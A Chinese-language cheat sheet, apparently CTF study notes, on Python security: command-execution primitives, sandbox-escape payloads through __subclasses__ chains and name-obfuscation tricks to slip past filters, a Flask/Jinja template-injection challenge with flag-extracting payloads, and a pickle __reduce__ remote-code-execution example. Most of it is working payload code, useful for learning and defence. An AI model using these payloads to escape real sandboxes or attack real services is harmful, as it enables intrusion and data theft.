python sec

python命令执行

python中很很多可以模块可以命令执行,或者导入可以命令执行的模块

os模块

import os
os.popen('ls')
os.system('ls')

timeit.timeit函数

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

eval和exec

eval('__import__("os").system("dir")')
exec('__import__("os").system("dir")')

platform

import platform
platform.popen('dir').read()

execfile

execfile('/usr/lib/python3.6/os.py')
system('ls')

types.FileType

import types 
types.FileType("/flag").read()

subprocess

import subprocess
subprocess.call(['ls'],shell=True)

subprocess模块shell=True的话curl命令是被Bash(Sh)启动,支持shell语法

map

map(os.system,['ls'])

f修饰符

f'{__import__("os").system("dir")}'

python沙箱逃逸

python沙箱逃逸其实就是通过绕过,拿到被限制的的”危险函数”,达到命令执行的效果

__import__函数

__import__函数功能用于动态的导入模块,主要用于反射或者延迟加载模块

m0yuqi=__import__('os')
m0yuqi.system('dir')

importlib库

importlib库在Python源代码中提供import语句(以及扩展名为__import__()函数)的实现
同时实现import的组件在此包中公开,使用户更容易创建自己的自定义对象

import importlib
m0yuqi=importlib.import_module('os')
m0yuqi.system('dir')

路径引入

import sys
sys.modules['os']='/usr/lib/python3.6/os.py'
import os

__builtins__载入

python的内联函数__builtins__里面有许多内置函数
可用dir(__builtins__)查看

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

发现有__import__
一个模块对象有一个由字典对象实现的命名空间,属性引用被转换为这个字典中的查找,于是可以用__dict__引入我们想要引入的模块

__builtins__.__dict__['__import__']('os').system('dir')

reload重载

reload()函数重载builtins模块恢复内置函数

reload(__builtins__)  #python2
如果没有reload函数
import __builtins__ #让内建模块名在该作用域中可见
import imp
imp.reload(__builtin__)

函数名绕过

可以利用两个很特殊的函数:getattr和__getattribute__
这两个函数接受两个参数,第一个是模组或者对象,第二个是一个字符串
该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性
如下便可绕过system函数

import codecs
getattr(__import__('os'),codecs.encode('flfgrz','rot-13'))('dir')
getattr(__import__('os'),'metsys'[::-1])('dir')
__import__('os').__getattribute__('metsys'[::-1])('dir')

object命令执行

通过__mro__方法可打印出其继承关系
通过__bases__方法可以获取上一层继承关系
找到<type 'object'>(python2)<class 'object'>(python3)
python的object类中集成了很多的基础函数,可以执行
__subclasses__的方法可以获取所有子类的列
获取object类

''.__class__.__mro__[1]
"".__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

由object获取子类,读文件或执行命令

# python2
# 读文件
().__class__.__bases__[0].__subclasses__()[40]("/flag").read()
''.__class__.__mro__[2].__subclasses__()[40]("/flag").read()
"".__class__.__mro__[-1].__subclasses__()[40]("/flag").read()

#命令执行
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["linecache"].os.system('ls')
#func_globals:返回一个包含函数全局变量的字典引用

# python3
python3
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("dir")
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")
#闭包抽出来外部参数的变量来引用 os 模块,原生的import是存在被引用的
__import__.__getattribute__('__closure__')[0].cell_contents('os').__getattribute__('system')('ls')
__import__.__getattribute__('func_closure')[0].cell_contents('os').__getattribute__('system')('ls')

如果过滤了[],就用__getitem__()
过滤.,就用getattr(getattr((),"__class__"),"__mro__")[1]

SSTI

有如下例子

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

想要获取config里面的值
可以用利用__dict__和__globals__获取属性和定义域信息
最后的payload

url_for.__globals__['current_app'].config['FLAG']
get_flashed_messages.__globals__['current_app'].config['FLAG']

序列化与反序列化

主要是pickle/cPickle

#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
    def __reduce__(self):
        return (os.system,('ls',))

a=test()
c=pickle.dumps(a)
print c
pickle.loads(c)
Edit with markdown